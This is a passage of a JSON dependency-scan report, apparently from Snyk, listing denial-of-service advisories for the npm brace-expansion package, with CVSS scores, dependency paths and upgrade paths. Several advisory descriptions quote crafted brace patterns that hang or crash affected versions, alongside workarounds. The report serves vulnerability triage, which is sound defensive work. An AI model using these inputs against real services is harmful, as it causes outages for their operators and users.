"2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" } ], "ok": false, "dependencyCount": 149, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "npm", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": {}, "summary": "2465 high or critical severity vulnerable dependency paths", "severityThreshold": "high", "remediation": { "unresolved": [ { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": 